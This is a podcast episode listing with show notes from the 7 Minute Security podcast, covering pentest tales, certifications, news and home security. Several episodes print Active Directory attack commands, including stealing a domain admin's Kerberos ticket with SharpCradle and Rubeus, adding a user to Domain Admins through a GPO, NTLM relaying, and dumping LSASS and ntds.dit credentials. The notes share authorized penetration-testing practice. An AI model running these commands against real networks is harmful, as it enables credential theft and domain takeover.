Alle afleveringen
746 afleveringen, van nieuw naar oud
-
7MS #446: Certified Red Team Professional - Part 2
17 december 2020 · 41 min
Today's episode continues part 1 of our series on the Certified Red Team Professional certification. Key points from today's episode include: Lees meer
It's probably a better idea to run Bloodhound on your local machine so you don't crush the student VM's resources
Running Invoke-Command is one of my new favorite things. Check this post for a bunch of cheatsheet tips for running commands in PowerShell against other hosts.
Silver, gold and skeleton key attacks in AD - are they awesome? Yes? Do I see myself using those in short-term pentest enagements? Meh.
Wanna build a home lab to do some of these fun pentest stuff? Our buddy k3nundrum in Slack recommended we check out this. It looks awesome. And the devs of the tool have a video on it here.
When you're popping shells and privs all over the place in the lab, it can be confusing to figure out which machines you have what privileges on. I like using the klist command. Or, from a mimikatz prompt, try kerberos::list /export.
-
7MS #445: Certified Red Team Professional
10 december 2020 · 57 min
Welp, I need another certification like I need a hole in the head, but that didn't stop me from signing up for the Certified Red Team Professional. So I've started a series on sharing what I'm learning as I proceed through the certification path. (We're also talking about this on the 7MS forums) Lees meer
Here are some of the highlights from week 1:
Boy oh boy is PowerView handy for extracting juicy info out of Active Directory. It works well when served with a side order of the Microsoft signed DLL for the ActiveDirectory PowerShell module
I wouldn't say this course is for beginners. You will get some high level intro to PowerShell, Active Directory and pentesting, but you will need to do a ton of self-study and banging around in the lab to fill in some skill gaps.
When trying to pop a Jenkins box, I learned about a few new helpful tools I'd never played with before:
HFS - simple HTTP file server
Powercat - for catching shells!
Then on a personal front, I have a few updates to share as well:
The Thanksgiving surprise that brought tears to my eyes
The new piece of exercise equipment in the Johnson household that made my wife reach for a barf bag
A mysterious sound in the house that lead to the discovery of dead things over Thanksgiving break
-
7MS #444: Interview with Christopher Fielder of Arctic Wolf
2 december 2020 · 57 min
Happy December! Today I virtually sat down with Christopher Fielder of Arctic Wolf, who started his career in security at 18 (I was just playing a lot of video games when I was that old)! Christopher has served in the Air Force, worked for a university and SANS, served for some three-letter organizations - and more! Lees meer
Christopher and I had a great chat about a variety of security topics, including:
Threat hunting - why it's a term that means so many things to different people, how to get started in it and how to start building a threat hunting team
Threat intel - its relationship to threat hunting, and how to make sense of the jillions of intel feeds out there
Pentesting your MDR/SIEM - we talk about our gist on evaluating an MDR/SIEM, and how to throw some technical tests at these systems to figure out if they're worth the cost!
-
7MS #443: Cyber News - Thankful for Patches Edition
26 november 2020 · 41 min
Happy Thanksgiving! While the turkey and pie settle in your belly, why not also digest some fantastic security news stories with our pal Gh0sthax? Lees meer
Today's stories include:
It was another epic month of patching - both Threatpost and Krebs have great coverage of what you need to know.
We don't support software pirating, but it's interesting that we just got a demo of Cobalt Strike spun up, and now the source code was leaked.
Always download software updates from their source, not from not-so-trustworthy sources like random search results in Google and pop-up boxes.
As a follow up to a story from last month, ransomware was not to blame for the death of a woman in Germany.
-
7MS #442: Tales of Internal Network Pentest Pwnage - Part 23
19 november 2020 · 1 uur 9 min
Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features: Lees meer
Great blue team tools alerting our customer to a lot of the stuff we were doing
An EDR that we tried to beat up (but it beat us up instead)
SharpGPOAbuse which we talked about extensively last week
Separation of "everyday" accounts from privileged accounts
Multi-factor authentication bypass!
Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation.
The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds:
SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap
This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with:
echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb
Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight.
We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!
-
7MS #441: SharpGPOAbuse
15 november 2020 · 39 min
Hello friends! Sorry to be late with this episode (again) but we've been heads-down in a lot of cool security work, coming up for air when we can! Today's episode features: Lees meer
A little welcome music that is not the usual scatting of gibberish I torture you with
Some cool tools I'm playing with in the lab that we'll do future episodes on in the future:
DetectionLab to practice detecting all the bad things!
BadBlood to dirty up your AD (your test AD with groups, computers, permissions, etc.). I wish the user import script would let you choose a list of bad passwords to assign the users, but you can also run it manually if you want.
Cobalt Strike - we're doing a demo right now!
Most of today's episode focuses on SharpGPOAbuse, a tool that can be used to abuse "generic write" access to GPOs (which you might identify after running BloodHound). Here's a sample syntax you could run:
SharpGPOAbuse.exe --AddUserTask --TaskName "Totes Safe Windoze Updatez" --Author SAMPLECO\ADMINISTRATOR --Command "cmd.exe" --Arguments "/c net group \"Domain Admins\" SomeLowPrivUser /ADD DOMAIN" --GPOName "Name of GPO with Generic Write Access"
This will push a ScheduledTasks.xml file to \\sample.company\Policies\LONG-STRING-REPRESENTING-THE-GPO-ID\User\Preferences\ScheduledTasks
Now if you find that the task is not pushing correctly, it may be that SharpGPOAbuse.exe hasn't been able to update either the GPT.INI file (in the root of the GPO path) and/or the versionNumber value assigned to the GPO itself.
If you need to adjust the versionNumber and GPT.INI value manually, definitely read this Microsoft article so you know how the number is generated and how to increment it properly. This flippin' sweet RastaMouse blog article also helped this click for me.If you can't seem to update versionNumber using the PowerShell in Rasta's article, you can also open up ADSI Edit and navigate to Default naming context > DC=your,DC=com > CN=System > CN=Policies > CN=LONG-STRING-REPRESENTING-THE-GPO…
-
7MS #440: Tales of Internal Network Pentest Pwnage - Part 22
9 november 2020 · 33 min
Hi! Sorry to be so late with this episode, but I'm excited to share with you another fun tale of pentest pwnage! Key points from today's episode include: Lees meer
We do not do these episodes to brag or put down any company about their security posture. We do do (heh, I said "do do") these episodes to share what we're learning about pentesting it helps you become a better network defender and/or offender!
Early in an engagement it can be fruitful to run Pcredz to find goodies in the clear like hashes, CC numbers, SNMP traps and more!
Run hashes right through the Hashes.org cracked Pwned Passwords list for more management-level impact on your efforts. Do the same with Kerberoastable accounts
Once you've gotten a local or domain admin account, use CrackMapExec to dump a workstation's local hashes, then do something VERY important that I just learned this week (details in today's episode) to maybe get insta-DA!
-
7MS #439: Cyber News - Ransomware is Definitely Still a Thing Edition
29 oktober 2020 · 1 uur 9 min
Happy October and merry Halloween everybody! We're back with our buddy Joe "the machine" Skeen who is also now a Principal Security Engineer for 7MS! He's also working on a new cert, and speaking of certs, 7MS is now PCIP certified! Lees meer
Today's great cyber stories include:
Azure AD is a single point of failure in many networks
Ransomware sophistication continues to grow - as demonstrated in this story, this one and this one
Ransomware such as Ryuk can go from phishing email to total domain domination in 5 hours or less
Don't forget to patch - Microsoft remediated some doozies! Something like 0 patch looks particularly interesting to aid in your patching efforts (not a sponsor, but maybe some day ;-)
P.S. We've got a Halloween Webinar coming up Friday with our friends at Netwrix - sign up and we'll see you there!
-
7MS #438: PCI Professional Certification (PCIP) - Part 4
21 oktober 2020 · 39 min
Yay - I'm a PCIP now! I welcome you to check out our past episodes on PCIP, but in some ways this will be the be all, end all episode on the topic. Today I cover: Lees meer
Study materials that helped me prepare:
PCIP book by Linda Jones (I couldn't actually get this one in time but it looks awesome!)
Flashcards from Cram
Flashcards from Quizlet
My flashcards from Quizlet (I'll need to sanitize these and give you the password. Contact me if interested)
Flashcards from ProProfs
Documentation from PCI Web site itself - specifically the glossary, quick reference guide and my personal favorite, the prioritized approach guidance
I also talk about taking the exam from home which was an interesting experience (as well as a privacy/security mini nightmare!).
-
7MS #437: Homecoming and Home ioT Security - Part 3
14 oktober 2020 · 40 min
Hello! This episode is a true homecoming in that I actually recorded it from home. Yay! Lees meer
WARNING!!! WARNING!!! This episode contains a ton of singing. If you don't like singing, do not listen!!!
With that said, I wanted to follow up on part 1 and 2 of this series and share some additional cool tools that others have told me about in regards to securing and monitoring all your ioTs!
Home Assistant - is described on its Wikipedia page as "a free and open-source home automation software designed to be the central control system in a smart home or smart house." You can quickly grab the HA image and dump it on an SD card with Balena Etcher and be up and running in minutes. I found HA a bit overkill/complicated for my needs, but my pal Hackernovice (on 7MS Slack) says this video demonstrates why he really loves it.
Prometheus, recommended by our pal Mojodojo101, is "a systems and service monitoring system. It collects metrics from configured targets at given intervals, evaluates rule expressions, displays the results, and can trigger alerts if some condition is observed to be true." I found a great RPi install guide that will help you get it up and running in a snap. I love the capabilitiesand possibilities of Prometheus, but much like Home Assistant, it quickly got to "more than I need" territory.
The final thing we talk about today is trying to answer this question: with so many of my ioTs tied to some cloud app/service, how do I keep these accounts themselves as secure as possible?
Songs sung in this episode include:
Follow Through by Gavin DeGraw
Livin' on a Prayer
The Look that Says You Love Me (Brian Johnson)
Goodness of God
-
7MS #436: Cleaning Up Your Cloud Clutter
7 oktober 2020 · 48 min
Hey, hope you're having a great week! The last few weeks have had somewhat of a homecoming and home cleaning theme. To continue that train of thought, over the last few days I've gotten heavy into cleaning up my cloud clutter - cloud services, email, file sharing, etc. - in an effort to be more secure and have a reduced digital footprint. Today's tips include: Lees meer
Double-check that any device you have that supports full-disk encryption has it enabled
On all your machines, clean up old straggler artifacts in C:, desktop folder, downloads folder, etc. Use the nifty built in tools for Windows 10 to free up even more disk space (I just learned about this one recently - Windirstat and Treesizefree were my go-tos for years)
Got old PCs sitting around you're not using? Nuke 'em with DBAN.
Go into your password vault and clean out creds for services you don't use anymore (especially for old client projects!)
Purge your file share services (Dropbox, OneDrive, etc. on a regular basis), and/or bring older archives over to cold (on-site) encrypted storage
Review your "bottleneck" accounts (key email accounts, for example) and review the devices/services linked to them - clean up and purge regularly
Handling password hashes? Here's one way to setup an encrypted partition for them
You can clean old email from Gmail quickly using some simple searches. You can also use Google Takeout to download offline copies of mail and then browse them later with Thunderbird
-
7MS #435: Homecoming and Home ioT Security - Part 2
2 oktober 2020 · 41 min
Hi again! It's sort of fun to release two episodes in one week for a change. If you missed part 1 on our ioT security series, check it out here. Today we dive into some free/cheap monitoring solutions you can use to keep tabs on your ioT network (or any network, really): Lees meer
Nagios - it's old school but gets the job done. This article helped me get it going on an RPi.
SolarWinds IP monitor - it was quick and easy to get up and running, but the 40 monitors you're allotted get burned up pretty quick if you have a decent number of devices to monitor
PRTG - this is the winner in my book. It has a generous amount of monitors, quick/easy install, and a native mobile app!
-
7MS #434: Homecoming and Home ioT Security
1 oktober 2020 · 34 min
WE'RE HOME! After almost a year after our fire, we're back, baby! Lees meer
This episode is somewhat of a homecoming that dovetails into an episode about ioT security. I've basically done a 180 degree spin on ioT stuff. I now love the coolness and convenience of these things while simultaneously being terrified of the security risks. Is there a happy balance somewhere between the two? Maybe. Today we dive into ioT security, specifically:
Setting up a ioT dedicated wireless network
Quarantining it so it can only talk to the Internet
Poking holes in the firewall to allow ioT DNS requests to be captured
Scanning your ioT for services and potential default/weak cred use
-
7MS #433: Cyber News - Security Skills Gap Edition
24 september 2020 · 48 min
Hi! Today our pal Joe "The Machine" Skeen (a.k.a. Gh0sthax has prepared some cyber-licious actionable news stories for us to chew on. Today's stories include: Lees meer
Cybersecurity skills gap (powered by lack of career development!)
Which cyber jobs are hot - or not?
Mysterious wave of DDoS attacks
The Magecart threat group pwns thousands of ecommerce sites
On a parting note, don't forget to patch your DCs against Zerologon! Here's a great Twitter thread breakdown that explains it in more detail
-
7MS #432: Tales of Internal Network Pentest Pwnage - Part 21
16 september 2020 · 45 min
Yay! It's time for another tale of pentest pwnage! Highlights include: Lees meer
Making sure you take multiple rounds of "dumps" to get all the delicious local admin creds.
Why lsassy is my new best friend.
I gave a try to using a Ubuntu box instead of Kali as my attacking system for this test. I had pretty good results. Here's my script to quickly give Ubuntu a Kali-like flair:
sudo apt-get update sudo apt-get upgrade -y sudo apt-get install openssh-server -y sudo apt-get install nmap curl dnsrecon git net-tools open-vm-tools-desktop python3.8 python3-pip unzip wget xsltproc -y #Aha helps take output from testssl.sh and make it nice and HTML-y sudo git clone https://github.com/theZiz/aha.git /opt/aha #Awesome-nmap-grep makes it easy to grep nmap exports for just the data you need! sudo git clone https://github.com/leonjza/awesome-nmap-grep.git /opt/awesome-nmap-grep #bpatty is...well...bpatty! sudo git clone https://github.com/braimee/bpatty.git /opt/bpatty #CrackMapExec is...awesome sudo mkdir /opt/cme cd /opt/cme sudo curl https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.1.0dev/cme-ubuntu-latest.1.zip -L -o cme.zip sudo unzip cme.zip sudo chmod +x ./cme #eyewitness is a nice recon tool for putting some great visualization behind nmap scans sudo git clone https://github.com/FortyNorthSecurity/EyeWitness.git /opt/eyewitness cd /opt/eyewitness/Python/setup sudo ./setup.sh #impacket is "a collection of Python classes for working with network protocols" #I currently primarily use it for ntlmrelayx.py sudo git clone https://github.com/CoreSecurity/impacket.git /opt/impacket cd /opt/impacket sudo pip3 install . #mitm6 is a way to tinker with ip6 and get around some ip4-level protections sudo git clone https://github.com/fox-it/mitm6.git /opt/mitm6 cd /opt/mitm6 sudo pip3 install -r requirements.txt # install service-identity sudo pip3 install service-identity # lsassy sudo python3 -m pip install lsassy #nmap-bootstrap-xsl turns nmap scan output into pretty HT…
-
7MS #431: How to Succeed in Business Without Really Crying - Part 8
9 september 2020 · 50 min
Today we're talking business! We've got some exciting news and updates to share with you since we last did a "crying" episode last fall: Lees meer
7MS hired a VP of sales and marketing: Clyde Cooper!
We've added some new tools to our tools/services gist:
Having a true sales force for the first time has prompted us to invest in Salesforce. There are a few gotchas with signing up for a Salesforce trial and then migrating to a paid plan (discussed more in today's episode)
We're trying to "eat our own dog food" and part of that includes good inventory management. For that we've started to play with Rumble and reaaaaaaaaaaalllly like it
Recording an "about us" video with a production company is exciting, stressful and awkward
Today I met the guy who wins the Internet (or at least LinkedIn) - he sent me a personalized video with an idea I'm definitely going to steal for future marketing initiatives
For really no reason at all, I sing for you a bit in this episode
On that note, I absolutely love this song. I feel like it's my family's theme song for the last year.
-
7MS #430: Interview with Dan DeCloss
2 september 2020 · 57 min
Today we're thrilled to have our friend and PlexTrac CEO Dan DeCloss back to the program! (P.S. PlexTrac is launching runbooks as a feature - and you should definitely check out PlexTrac's upcoming Webinar about runbooks on September 9!). We also did a PlexTrac 101 Webinar with them recently! Lees meer
You may remember Dan from such podcasts as this one when we first talked to him in 2019. Dan and I have a lot in common in that we both started security companies about the same time, so I had a lot of questions for Dan around how business has been going since we last talked on the podcast. Today our topics/questions include:
What are the (good) warning signs that a passion project you have could be a viable business?
Why "having all the jobs there has ever been" is a great way to figure out it's time to start your own business :-)
At what point does a side project have to become what you do for your day job?
How do you safely prepare to quit a comfortable corporate life to life as a small biz owner? Do you go 100% on faith? Do you save your $ for a year so you can "float" your business for a while? Some combination of the two?
How important is it to have the support of your friends/family when starting a new biz?
Once you start a biz what are the best/worst things about wearing all the hats (engineering, sales, marketing, accounting, HR, etc.)?
When is it time to hire additional resources or raise additional money to support your growing business?
What marketing efforts are fruitful for a new security biz to spend time/money on?
How do you decide what bells/whistles to add to PlexTrac? Follow your own roadmap? Let the customers drive your direction? Some combo of both?
What new bells and whistles are coming to PlexTrac in the Webinar on September 9?! (Spoiler alert: RUNBOOKS!)
-
7MS #429: Cyber News - Free Bitcoin for Everybody Edition
26 augustus 2020 · 41 min
Hola! We're back again with our amigo Joe "The Machine" Skeen (a.k.a. Gh0sthax) who has prepared some awesome and actionable news stories for us to digest. Today's stories include: Lees meer
The Twitter hack that promised free Bitcoin for everybody - with good coverage by Krebs and Threatpost
Garmin's personal and painful experience with ransomware
Joe offers 7 tips any org can use to reduce their likelihood of getting pwned with an attack or ransomware
Are we ready to endure a cyber crisis?
Would you fall for this social engineering attack?
-
7MS #428: Tales of Internal Network Pentest Pwnage - Part 20
20 augustus 2020 · 54 min
Welcome to another fun tale of internal pentest pwnage! Today's tale includes these helpful informational tidbits: Lees meer
My understanding is that in order for mitm6 relay attacks to work against DCs, those DCs have to have LDAPS config'd properly. Use nmap -sV -p646 name.of.domain.controller to verify this (thanks this site for the tip!)
PowerView is awesome when used with Find-InterestingDomainShareFile to find interesting files with the word password or sensitive or other helpful strings.
eavesarp helped me identify some weird hosts on weird subnets sending regular bursts of traffic to "interesting" hosts! Check out this video from Black Hills Infosec to learn more.
I've also got some personal updates for you, including:
House updates
Fighting with the man/woman upstairs
My worst Webinar nightmare came true
A socially distanced wedding singing experience
-
7MS #427: Interview with Ameesh Divatia from Baffle
12 augustus 2020 · 42 min
Today we're thrilled to welcome Ameesh Divatia from Baffle back to the program. We first met Ameesh back in episode 349 and today he's back to discuss a slew of additional hot security topics, including: Lees meer
Misconfigured cloud databases
Why is this such a common issue, and how can we address it?
Wait wait wait...I just spun up a machine in Azure, AWS, Digital Ocean, etc. Isn't it secure because....it's the cloud?
What tools can we use to better secure our cloud databases?
How can we secure sensitive information as we migrate it from LAN side to the cloud?
CCPA (California Consumer Privacy Act)
What is the CCPA? How does it relate to GDPR?
If I'm a Californian, what can I demand to know from companies as far as how they're using my data? What can't I demand to know?
Will CCPA inspire folks to scrub their data from the hands of big companies and go more "off the grid?"
Does CCPA only apply to California residents and companies?
Secure data sharing
What are the current challenges with secure data sharing in terms of monitoring the flow of data within their systems and their partners' systems, while addressing privacy concerns?
What are some of the common mistakes companies make when sharing sensitive data internally or with partners/clients?
What is Secure Multiparty Compute (SMPC) and how can it help with secure data sharing?
-
7MS #426: Tales of Internal Pentest Pwnage - Part 19
7 augustus 2020 · 50 min
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more. Lees meer
First and foremost, I have to say that 7 Minute Security's official stance on toads is that nobody should be licking them at any time, for any reason. Also, I can neither confirm nor deny that toads can catch coronavirus. Listen to today's episode...it'll make more sense.
We've got another swell tale of internal pentest pwnage for you today! Highlights include:
If you've collected a ton of hashes with Responder, the included DumpHash.py gives you a lovely organized list of collected hashes!
Here's one way you can grab the latest CME binary:
curl https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.0.1dev/cme-ubuntu-latest.zip -L -o cme.zip
Note to self: I must've been using outdated CME forever, because the correct syntax to get the wdigest flag is now a little different:
cme smb HOST -u localadmin -H "hash" --local-auth -M wdigest -o ACTION=enable
If you're looking to block IPv6 (ab)use in your environment, this article has some great tips.
When testing in an environment with a finely tuned SIEM, I highly recommend you download all the Kali updates and tools ahead of time, as sometimes just the call out to kali.org gets flagged and alerted on to the security team
Before using the full hatecrack methodology, I like to run hashes straight through the list of PwnedPasswords from hashes.org (which appears to currently be offline) first to give the org an idea as to what users are using easy-to-pwn passwords.
A question for YOU reading this: what's the best way to do an LSASS dump remotely without triggering AV? I can't get any of the popular methods to work. So pypykatz is my go-to.
I learned that PowerView is awesome for finding attractive shares! Run it with Find-InterestingDomainShareFile to find, w…
-
7MS #425: DIY Pentest Dropbox Tips - Part 2
30 juli 2020 · 37 min
Today's episode is all about creating and deploying your own pentest dropbox! In part 1 I talked about some "gotchas" but this time around I'm ready to dump a whole slug of specific and updated tips on ya! Below are the tips covered in this episode that are better read than said: Lees meer
For the Windows VM
Turn on RDP with PowerShell:
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0 Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
Change time zone with command line:
tzutil /s "Central Standard Time"
Install Chrome with PowerShell:
$LocalTempDir = $env:TEMP; $ChromeInstaller = "ChromeInstaller.exe"; (new-object System.Net.WebClient).DownloadFile('http://dl.google.com/chrome/install/375.126/chrome_installer.exe', "$LocalTempDir\$ChromeInstaller"); & "$LocalTempDir\$ChromeInstaller" /silent /install; $Process2Monitor = "ChromeInstaller"; Do { $ProcessesFound = Get-Process | ?{$Process2Monitor -contains $_.Name} | Select-Object -ExpandProperty Name; If ($ProcessesFound) { "Still running: $($ProcessesFound -join ', ')" | Write-Host; Start-Sleep -Seconds 2 } else { rm "$LocalTempDir\$ChromeInstaller" -ErrorAction SilentlyContinue -Verbose } } Until (!$ProcessesFound)
Install PowerUpSQL:
Install-Module -Name PowerUpSQL
Turn off sleepy time:
powercfg.exe -change -standby-timeout-ac 0
Install DotNet 3.5:
dism /online /Enable-Feature /FeatureName:"NetFx3"
For the Kali VM
Refresh the SSH keys:
apt install openssh-server -y mkdir /etc/ssh/default_keys mv /etc/ssh/ssh_host_* /etc/ssh/default_keys/ dpkg-reconfigure openssh-server systemctl enable ssh.service systemctl start ssh.service
Get SharpHound and Mimikatz:
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20200519/mimikatz_trunk.zip wget https://github.com/BloodHoundAD/BloodHound/raw/master/Ingestors/SharpHound.exe
Install pypykatz
sudo pip3 install pypykatz
Install CrackMapExec binaries (which at time of this publicatio…
-
7MS #424: Cyber News - Everything is Pwned Edition
22 juli 2020 · 33 min
Hello! We're back with our pal Joe "The Machine" Skeen (a.k.a. Gh0sthax) who has prepared some awesome and actionable news stories for us to digest. Today's stories include: Lees meer
Hackers are trying to steal admin passwords from F5 devices
Secret service reports increase in hacked MSPs
Most Popular Home Routers Have 'Critical' Flaws
"Sigred" DNS vulnerability in Microsoft DNS
-
7MS #423: Tales of Internal Pentest Pwnage - Part 18
15 juli 2020 · 1 uur
This is an especially fun tale of pentest pwnage because it involves D.D.A.D. (Double Domain Admin Dance) and varying T.T.D.A. (Time to Domain Admin). The key takeaways I want to share from these tests are as follows: Lees meer
Responder.py -i eth0 -rPv is AWESOME. It can make the network rain hashes like manna from heaven!
Testing the egress firewall is easy with this script. Consider this SANS article for guidance on ports to lock down.
Testing for MS14-025 is easy with this site.
mitm6 and ntlmrelayx can work really well together to rain shells if you follow this article. It's especially handy/focused when you create a targets.txt that looks something like this:
smb://CORP\Administrator@192.168.195.2 smb://CORP\Administrator@192.168.195.3 smb://CORP\brian.admin@192.168.195.7 192.168.195.7 192.168.195.10
Then save that as your targets.txt and run ntlmrelayx with ./ntlmrelayx.py -tf /targets.txt -socks -smb2support. From there, once you get active socks connections, you can connect to them directly with a full interactive shell with something like proxychains smbclient //192.168.195.2/ -U CORP/brian.admin
I ran into a weird issue with CrackMapExec where the --local-auth flag didn't seem to be working so I ended up trying the binary version and then it worked like a champ!
Looking to dump lsass a "clean" way? Try RDPing in directly to the victim machine, opening up taskmgr.exe, click the Details tab, then right-click lsass.exe and choose Create dump file and bam, done.
Wanna spin up a quick SMB share from your Kali box? Try smbserver.py -smb2support share /share
Then, once you've pulled back the lsass.dmp file, you can rip through it easily with:
pip3 install pypykatz sudo pypykatz lsa minidump lsass.dmp > lsass.txt
Then comb through lsass.txt and hopefully there will be some delicious and nutritious DA creds there for you to much on!
-
7MS #422: Eating the Security Dog Food - Part 2
10 juli 2020 · 43 min
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit [safepass.me](https://safepass.me/?7ms422 for more details, and tell them 7 Minute Security sent you to get a 10% discount! Lees meer
Today's episode continues the work we started in episode #419. We talk about the importance of having a good foundation of security documentation - including a reading out of the following policies:
Acceptable use
Data protection and privacy
-
7MS #421: Cyber News - Verizon DBIR Edition
1 juli 2020 · 37 min
Today my pal Gh0sthax and I pick apart the Verizon Data Breach Investigations Report and help you turn it into actionable items so you can better defend your network! Lees meer
I'm especially excited because today's episode marks two important 7MS firsts:
The episode has been crafted by a professional podcast producer
The episode has been transcribed by a professional transcription service
-
7MS #420: Tales of Internal Pentest Pwnage - Part 17
26 juni 2020 · 44 min
Today's episode is a fun tale of pentest pwnage! Interestingly, to me this pentest had a ton of time-sponging issues on the front end, but the TTDA (Time to Domain Admin) was maybe my fastest ever. Lees meer
I had to actually roll a fresh Kali VM to upload to the customer site, and I learned (the hard way) to make that VM disk as lean as possible. I got away with a 15 gig drive, and the OS+tools+updates took up about 12 gig.
One of the biggest lessons I learned from this experience is to make sure that not only is your Kali box updated before you take it to a customer site (see this script), but you should make sure you install all the tool dependencies beforehand as well (specifically, Eyewitness, Impacket and MITM6).
This pentest was also extremely time-boxed, so I tried to get as much bang out of it as possible. This included:
Capturing hashes with Responder
Checking for "Kerberoastable" accounts (GetUserSPNs.py -request -dc-ip x.x.x.x domain/user)
Check for MS14-025 (see this article)
Check for MS17-010 (nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17-010 192.168.0.0/24 -oA vulnerable-2-eblue) and try this method of exploiting it
Check for DNS zone transfer (dnsrecon -d name.of.fqdn -t axf)
Test for egress filtering of ports 1-1024
Took a backup of AD "the Microsoft way" and then cracked with secretsdump:
sudo python ./secretsdump.py -ntds /loot/Active\ Directory/ntds.dit -system /loot/registry/SYSTEM -hashes lmhash:nthash LOCAL -outputfile /loot/ad-pw-dump
-
7MS #419: Eating the Security Dog Food
17 juni 2020 · 40 min
Today we're talking about eating the security dog food! What do I mean by that? Well, a lot of security companies I worked for in the past preached to clients about the importance of having a good security program, but didn't have one of their own! I'm trying to break that pattern now that I'm in a position to lead an information security program for 7MS. Lees meer
In today's episode we talk about getting your company started with a good set of infosec policies/procedures. First up is a "mothership" infosec policy with the following sub-policies inside it:
Acceptable Use
Data Protection and Privacy
Physical Security
Tools and Technology
Training and Awareness
Reporting
Oh, and the song I jazz/scat/sang coming out of the jingle was If I Were a Dog
-
7MS #418: Securing Your Mental Health
11 juni 2020 · 44 min
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Lees meer
Today's episode is all about mental health! I talk about some of my challenges with stress/anxiety and how I finally put on my big boy pants, dropped some misconceptions and decided to do something about it. Additionally, this episode contains references to:
Jon Secada
Arsenio Hall
Lone Wolf McQuade
-
7MS #417: Vulnerability Scanning Tips and Tricks
4 juni 2020 · 43 min
Today's episode is all about getting the most value out of your vulnerability scans, including: Lees meer
Why, IMHO you should only do credentialed scans
Policy tweaks that will keep servers from tipping over and printers from printing novels of gibberish ;-)
How to make your scan report more actionable and less unruly
Turning up logging to 11 (use with caution!)
A small tweak to an external scan policy that can result in the difference between a successful or failed scan
The nessusd.rules file is awesome for excluding specific hosts and services from your scans
-
7MS #416: Pi-hole 5.0
28 mei 2020 · 36 min
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more. Lees meer
Today we're talking about some of my favorite features of Pi-hole 5.0. Including:
WARNING! WARNING! Upgrading from 4.x is a one-way operation!
Per-client blocking (you can setup, for example, a group machines called "kids" and apply specific domain block/allow lists and domains to them)
More granular detail (especially if there are issues) when blocklists get updated
Better, richer debug log output
I also talk about a great companion for yor Pi-hole: a command-line Internet speed test! Hat tip to Javali over at the 7MS forums who told me about this.
Additionally, I briefly mention "Hashy" (the nickname of my password cracking rig), give you some stay-at-home streaming TV show recommendations, and give you a quick house rebuild update!
-
7MS #415: Cyber News
21 mei 2020 · 31 min
Today's episode kicks off a fun little experiment where my pal Joe Skeen and I cover some of the week's interesting security news stories, how they might affect you, and what you can do to make you and your company more secure.
This week's stories: Lees meerSalt stack RCE (Daily Swig / Cyber Scoop)
Malware uses Corporate MDM as attack vector (Checkpoint)
Critical vulns in Sharefile (Citrix)
Shareholders sue Labcorp over their 'persistent' failure to secure data (Cyberscoop)
-
7MS #414: Tales of Pentest Fail #4
14 mei 2020 · 1 uur 4 min
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Lees meer
Today I'm excited to share more tales of pentest FAIL with you. Today's tales include:
Accidentally scanning assets that belong to an agency that nobody should be messing with
Delivering reports with vulnerabilities from somebody else's network
Why it's important to write a report more than 15 minutes before delivery
Lessons learned from firing a disgruntled employee
-
7MS #413: PCI Professional Certification (PCIP) - Part 3
7 mei 2020 · 52 min
Hey everybody! I hope you're hanging in there during quarantine and staying healthy. Today is part 3 of our ongoing series all about becoming a PCIP. The good news is I'm finally, actually registered for the cert and have started diving into the training! So in today's episode I want to regurgitate some of what I'm learning to whet your appetite (or not) for this particular certification. Specifically, we cover: Lees meer
The overview and objectives for being a PCIP (TLDR: PCIP does NOT replace QSA or ISA, but gives us a good understanding of how to protect payment card data)
How and why payment card data is leaked/stolen/breached - and then sold/monetized
The definition of some fundamental PCI acronym soup, including PCI DSS, PA-DSS and P2PE
-
7MS #412: Tips for Working Safely and Securely From Home
1 mei 2020 · 45 min
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more. Lees meer
In today's episode we share some tips for working more safely and securely from home, which for many of us is our new office for the foreseeable future! Specifically, we cover:
Picking powerful passwords
Locking down your wifi
Defending your digital identity
Protecting your PC
Blocking icky stuff in your browser
Composing careful conference calls
Clicking links carefully
I've also made this episode available in long-form blog here. Please feel free to share with anybody you think could benefit from the info!
-
7MS #411: More Fun Stay-at-Home Security Projects
24 april 2020 · 55 min
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Lees meer
Today is sort of a continuation of episode 407 where we covered four fun stay-at-home security projects including FoldingAtHome building a headless pi-hole, redoing your network with a Dream Machine, and enjoing some music via Zoom by way of Q.U.A.C.K.
In this episode, we cover:
Pentester Academy is awesome and currently has a steal of a deal if you're looking to score a membership on the cheap!
